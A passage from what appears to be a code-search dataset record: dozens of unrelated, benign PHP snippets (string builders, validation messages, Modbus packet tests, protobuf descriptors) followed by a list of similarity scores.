SIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::UNSIGNED_BYTE)\n $type = \"TINYINT UNSIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::UNSIGNED_SHORT)\n $type = \"SMALLINT UNSIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::UNSIGNED_INTEGER)\n $type = \"INTEGER UNSIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::UNSIGNED_LONG)\n $type = \"BIGINT UNSIGNED\";\n }\n\n return \"`{$this->columnName}` {$type} {$nullSuffix}\";\n }", "public function getMessageType(int $position = 9): string\n {\n $typeField = $this->getField($position);\n if (!empty($typeField) && is_array($typeField)) {\n return (string) $typeField[0];\n }\n return (string) $typeField;\n }", "public function __toString()\n {\n $type = $this->typeAsString();\n $str = \"'{$this->name}' {$type}\";\n $str .= ($this->_length > 0) ? \"({$this->_length})\" : \"\";\n $str .= \" {$this->size}\";\n $str .= ($this->isPrimaryKey()) ? \" PRIMARY KEY\" : \"\";\n $str .= ($this->isNotNull()) ? \" NOT NULL\" : \" NULL\";\n $str .= ($this->isUnsigned()) ? \" UNSIGNED\" : \"\";\n $str .= ($this->isAutoIncrement()) ? \" AUTO INCREMENT\" : \"\";\n $str .= (!is_null($this->default)) ?\n \" DEFAULT '{$this->default}'\" : \"\";\n $str .= (!is_null($this->description)) ?\n \" DESCRIPTION '{$this->description}'\" : \"\";\n return $str;\n }", "public function getTypeString(){\n\t\t$typeStr=\"\";\n\t\tswitch($this->type){\n\t\t\tcase \"fixed\": $typeStr=_(\"Montant fixe\");break;\n\t\t\tcase \"percentage\": $typeStr=_(\"Pourcentage\");break;\n\t\t\tcase \"percentage_no_transport\": $typeStr=_(\"Pourcentage sans transport\");break;\n\t\t\tcase \"transport\": $typeStr=_(\"Frais de port\");break;\n\t\t\tcase \"grid\": $typeStr=_(\"Variable\");break;\n\t\t}\n\t\treturn $typeStr;\n\t}", "public function getCellphone7Attribute()\n {\n return substr($this->cellphone, -7);\n }", "function __toString() {\n return 'Invalid Field';\n }", "function read_string(&$payload) {\n $length = read_uint32($payload);\n $string = \\substr($payload, 0, $length);\n $payload = \\substr($payload, $length);\n\n return $string;\n}", "public function getStringId()\n\t{\n\t\treturn 'id_' . $this->getId();\n\t}", "private function getSendTransferRequest(): string\n {\n // may be changed by linters and other tools, and because it contains line breaks, which are different depending\n // the platform where this test runs.\n return 'HKCCS:3:1+DExxABCDEFGH1234567890:BYLADEM1001:1234567890::280:12030000+urn?:iso?:std?:iso?:20022?:tech?:xsd?:pain.001.003.03+@'\n . strlen(self::PAIN_MESSAGE) . '@' . self::PAIN_MESSAGE . \"'HKTAN:4:6+4+HKCCS+++++++++SomePhone1'\";\n }", "public function getDefaultDefinition(): string;", "function getEncodedMessage(): string {\n return \\chr(static::COMMAND_ID).$this->rewrittenQuery;\n }", "public function withStringSampleSize(UnsignedInteger $stringSampleSize): static;", "public function testStringTooLong()\n {\n $this->expectException(UnexpectedValueException::class);\n\n $maxDescription = str_repeat('x', 101);\n\n $createPaymentAccountRequest = new CreatePaymentAccountRequest(\n $maxDescription,\n 'PAYMENT_BUSINESS'\n );\n }", "public function getText()\n {\n return $this->readOneof(4);\n }", "public function getValidatorSetUp(): string\n {\n return '\n $properties = $value;\n $invalidProperties = [];\n ';\n }", "public function generate()\n {\n return $this->_string;\n }", "public function setDefinition($var)\n {\n GPBUtil::checkString($var, True);\n $this->definition = $var;\n\n return $this;\n }", "public function getStringSampleSize(): UnsignedInteger;", "public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }", "public function createVariableHeader(): string\n {\n return $this->getPacketIdentifierBinaryRepresentation();\n }", "public function __construct()\n {\n $this->maxWordLength = 13;\n $this->minWordLength = 4;\n }", "public function testOnPacketToString()\n {\n $payload = \"\\x01\\x38\" . // transaction id: 0138 (2 bytes)\n \"\\x00\\x00\" . // protocol id: 0000 (2 bytes)\n \"\\x00\\x08\" . // length: 0008 (2 bytes) (8 bytes after this field)\n \"\\x11\" . // unit id: 11 (1 byte)\n \"\\x16\" . // function code: 16 (1 byte)\n \"\\x04\\x10\" . // start address: 0410 (2 bytes)\n \"\\x00\\x01\" . // AND mask: 0x01 (2 bytes)\n \"\\x00\\x02\" . // OR mask: 0x02 (2 bytes)\n '';\n $this->assertEquals(\n $payload,\n (new MaskWriteRegisterRequest(\n 0x0410,\n 0x1,\n 0x2,\n 0x11,\n 0x0138\n ))->__toString()\n );\n }", "private function writeStringRecord($stringValue): void\n {\n $record = 0x0207; // Record identifier\n $data = StringHelper::UTF8toBIFF8UnicodeLong($stringValue);\n\n $length = strlen($data);\n $header = pack('vv', $record, $length);\n\n $this->append($header . $data);\n }", "public function __toString()\n\t{\n\t\t$string = '[line]: ' . $this->line . \"\\n\";\n\t\t$string .= '[type]: ' . $this->typeToString($this->type) . \"\\n\";\n\t\t$string .= '[value]: ' . $this->value . \"\\n\";\n\t\treturn $string;\n\t}", "public static function getDescriptor()\n {\n static $descriptor;\n\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n $desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_STRING,\n \"name\" => \"number\",\n \"required\" => true,\n \"optional\" => false,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => \"\",\n )));\n $desc->addField(2, new ProtocolBuffersFieldDescriptor(array(\n \"type\" => ProtocolBuffers::TYPE_ENUM,\n \"name\" => \"type\",\n \"required\" => false,\n \"optional\" => true,\n \"repeated\" => false,\n \"packable\" => false,\n \"default\" => Tutorial_Person_PhoneType::HOME,\n )));\n $phpoptions = $desc->getOptions()->getExtension(ProtocolBuffers::PHP_MESSAGE_OPTION);\n $phpoptions->setUseSingleProperty(true);\n $phpoptions->setSinglePropertyName(\"_properties\");\n\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function value(): string\n {\n return uniqid(prefix: 'dsafsdaf-');\n }", "public function testValidationByKeynameConstruct()\n {\n $init = 'test';\n $str = new \\Pv\\PString($init, array('test1' => 'length[1]'));\n\n $valid = $str->getValidation();\n $this->assertTrue(isset($valid['test1']));\n }", "public function message()\n {\n return __('el :attribute debe tener 8 caracteres, un numero,una letra mayuscula y una letra minuscula');\n }", "public function getPO107(){\n\t\treturn $this->getPO1IndexOf(7);\n\t}", "public static function string(): Type\n {\n return new Type(null, 'string');\n }", "public function fromDefinition(\n $definition\n ) {\n Assert::stringNotEmpty($definition);\n\n $array = explode('|', $definition);\n\n $name = array_key_exists(0, $array)\n ? $array[0]\n : null;\n\n $label = array_key_exists(1, $array)\n ? $array[1]\n : null;\n\n $type = array_key_exists(3, $array)\n ? $array[3]\n : null;\n\n $linked = array_key_exists(6, $array)\n ? (bool) $array[6]\n : false;\n\n if (!$name || !$label || !$type)\n throw new \\InvalidArgumentException(\n 'Определение дополнительного поля имеет неизвестный формат.'\n );\n\n $extraField = new ExtraField();\n $extraField->name = $name;\n $extraField->label = $label;\n $extraField->type = $type;\n $extraField->linked = $linked;\n\n return $extraField;\n }", "public static function dumpDefinition(Definition $definition)\n {\n return (string) $definition;\n }", "public function hello_world():string\n {\n return self::HELLO_WORLD_STR;\n }", "function _vaxia_dice_roller_small_label($string) {\n $small_label = strtolower($string);\n $small_label = substr($small_label, 0, 3);\n if ($small_label == 'ref') {\n $small_label = 'fin';\n }\n return $small_label;\n}", "function __toString(): string\n {\n return $this->wordSpace->toString() . \" Tw\\n\";\n }", "public function message()\n {\n return 'The :attribute field type requires a Label and Value';\n }", "public function getVerbalString();", "public function getDescription()\n {\n $message = 'Value must be a valid string';\n\n if ($this->length) {\n $message .= ' and no longer than ' . $this->length . ' chars';\n }\n return $message;\n }", "public function message()\n {\n return 'The fields [Team ID, Phone and Sticky Phone Number ID] are required';\n }", "public function toString(): string\n {\n return $this->type->typeName() . '=' . $this->value->rfc2253String();\n }", "public function getStrId();", "public function testReferenceTooShortNotInteger()\n {\n ProtocolHelper::calculateReference('');\n }", "function generate_field($field)\r\n {\r\n fwrite($this->file_h, \" $field[2] $field[1] ; \\n\" );\r\n }", "public function definition()\n {\n return [\n 'name' => substr($this->faker->unique()->sentence(3, true), 0, 50),\n 'color' => $this->faker->hexColor,\n ];\n }", "public function message(): string\n {\n return $this->getValidationMessage(Str::snake(class_basename($this)), __('The :attribute size cannot exceed :max_size.', ['max_size' => $this->bytesToHuman($this->max_size)]));\n }", "public function __construct($str)\n {\n $this->str_value = (string) $str;\n $this->int_length = strlen($str);\n }", "public function testParseShouldReturnErrorResponseForTooShortPacket()\n {\n $payload = \"\\x01\\x38\" . // transaction id: 0138 (2 bytes)\n \"\\x00\\x00\" . // protocol id: 0000 (2 bytes)\n \"\\x00\\x07\" . // length: 0007 (2 bytes) (7 bytes after this field)\n \"\\x11\" . // unit id: 11 (1 byte)\n \"\\x16\" . // function code: 16 (1 byte)\n \"\\x04\\x10\" . // start address: 0410 (2 bytes)\n \"\\x00\\x01\" . // AND mask: 0x01 (2 bytes)\n \"\\x00\" . // OR mask: 0x02 (1 bytes) <-- should be 2 but is 1\n '';\n $packet = MaskWriteRegisterRequest::parse($payload);\n self::assertInstanceOf(ErrorResponse::class, $packet);\n $toString = $packet->__toString();\n // transaction id is random\n $toString[0] = \"\\x00\";\n $toString[1] = \"\\x00\";\n self::assertEquals(\"\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x96\\x04\", $toString);\n }", "abstract protected function get_typestring();", "public function definition()\n {\n return [\n\n 'rnc' => Str::random(9),\n 'uuid' => uniqid(),\n 'name' => 'Test name'\n ];\n }", "public function string();", "function getStringID() {\n\t\treturn '[#'.$this->data_array['artifact_id'].']';\n\t}", "abstract protected function getDataTypeString(): string;", "public function getStringAlgorithm() {}", "public function _strings_for_pot()\n {\n }", "public function testParse()\n {\n $payload = \"\\x01\\x38\" . // transaction id: 0138 (2 bytes)\n \"\\x00\\x00\" . // protocol id: 0000 (2 bytes)\n \"\\x00\\x08\" . // length: 0008 (2 bytes) (8 bytes after this field)\n \"\\x11\" . // unit id: 11 (1 byte)\n \"\\x16\" . // function code: 16 (1 byte)\n \"\\x04\\x10\" . // start address: 0410 (2 bytes)\n \"\\x00\\x01\" . // AND mask: 0x01 (2 bytes)\n \"\\x00\\x02\" . // OR mask: 0x02 (2 bytes)\n '';\n $packet = MaskWriteRegisterRequest::parse($payload);\n $this->assertEquals($packet, (new MaskWriteRegisterRequest(\n 0x0410,\n 0x1,\n 0x2,\n 0x11,\n 0x0138\n ))->__toString());\n $this->assertEquals(ModbusPacket::MASK_WRITE_REGISTER, $packet->getFunctionCode());\n $this->assertEquals(0x0410, $packet->getStartAddress());\n\n $this->assertEquals(0x1, $packet->getANDMask());\n $this->assertEquals(0x2, $packet->getORMask());\n\n $this->assertEquals(new Word(\"\\x00\\x01\"), $packet->getANDMaskAsWord());\n $this->assertEquals(new Word(\"\\x00\\x02\"), $packet->getORMaskAsWord());\n\n $header = $packet->getHeader();\n $this->assertEquals(0x0138, $header->getTransactionId());\n $this->assertEquals(0, $header->getProtocolId());\n $this->assertEquals(8, $header->getLength());\n $this->assertEquals(0x11, $header->getUnitId());\n }", "public function getBytesField()\n {\n $value = $this->get(self::BYTES_FIELD);\n return $value === null ? (string)$value : $value;\n }", "public function definition()\n {\n return [\n 'status' => $this->faker->sentence,\n ];\n }", "public function message()\n {\n return 'Address Must be end with \"Street\".';\n }", "public function testValidationByKeynameAddl()\n {\n $init = 'test';\n $str = new \\Pv\\PString($init);\n $str->addValidation('length[1]', 'test1');\n\n $valid = $str->getValidation();\n $this->assertTrue(isset($valid['test1']));\n }", "public function getDescription()\n {\n return 'A numerical field';\n }", "public function message()\n {\n return ':attribute 10 haneli olmalıdır ve 0 ile başlamamalıdır';\n }" ]
[ "0.5623249", "0.5564602", "0.52095574", "0.5201477", "0.51185346", "0.5055083", "0.5047299", "0.503771", "0.50083566", "0.5005499", "0.4986761", "0.49650216", "0.49616835", "0.48984745", "0.48906916", "0.48851314", "0.48671302", "0.4865965", "0.48441464", "0.48306686", "0.48214218", "0.48214218", "0.48144266", "0.48144266", "0.48111784", "0.47918677", "0.4785082", "0.47844768", "0.4774188", "0.47685456", "0.4741154", "0.47389734", "0.4736908", "0.47356784", "0.47167346", "0.47085375", "0.4708023", "0.46714827", "0.46685392", "0.46576262", "0.46549782", "0.46492133", "0.4645827", "0.46454874", "0.46450755", "0.4642668", "0.46420932", "0.46306756", "0.46264", "0.46255562", "0.4614211", "0.46015248", "0.4600629", "0.45971814", "0.45925364", "0.45761448", "0.45682725", "0.45608", "0.4557263", "0.4556101", "0.45488104", "0.45468363", "0.45440242", "0.45341736", "0.45268917", "0.4522365", "0.45161948", "0.45134383", "0.45109588", "0.45088395", "0.45007804", "0.44968396", "0.44949564", "0.44880953", "0.44801128", "0.44790065", "0.44788507", "0.4474645", "0.44732258", "0.44723105", "0.44717583", "0.44695163", "0.4469037", "0.44611585", "0.4460123", "0.4458999", "0.4456307", "0.4455517", "0.44543675", "0.44481432", "0.44450212", "0.44309098", "0.44288197", "0.44285953", "0.44276485", "0.4422416", "0.44220793", "0.44176728", "0.44139385", "0.44128725", "0.44110954" ]
0.0
-1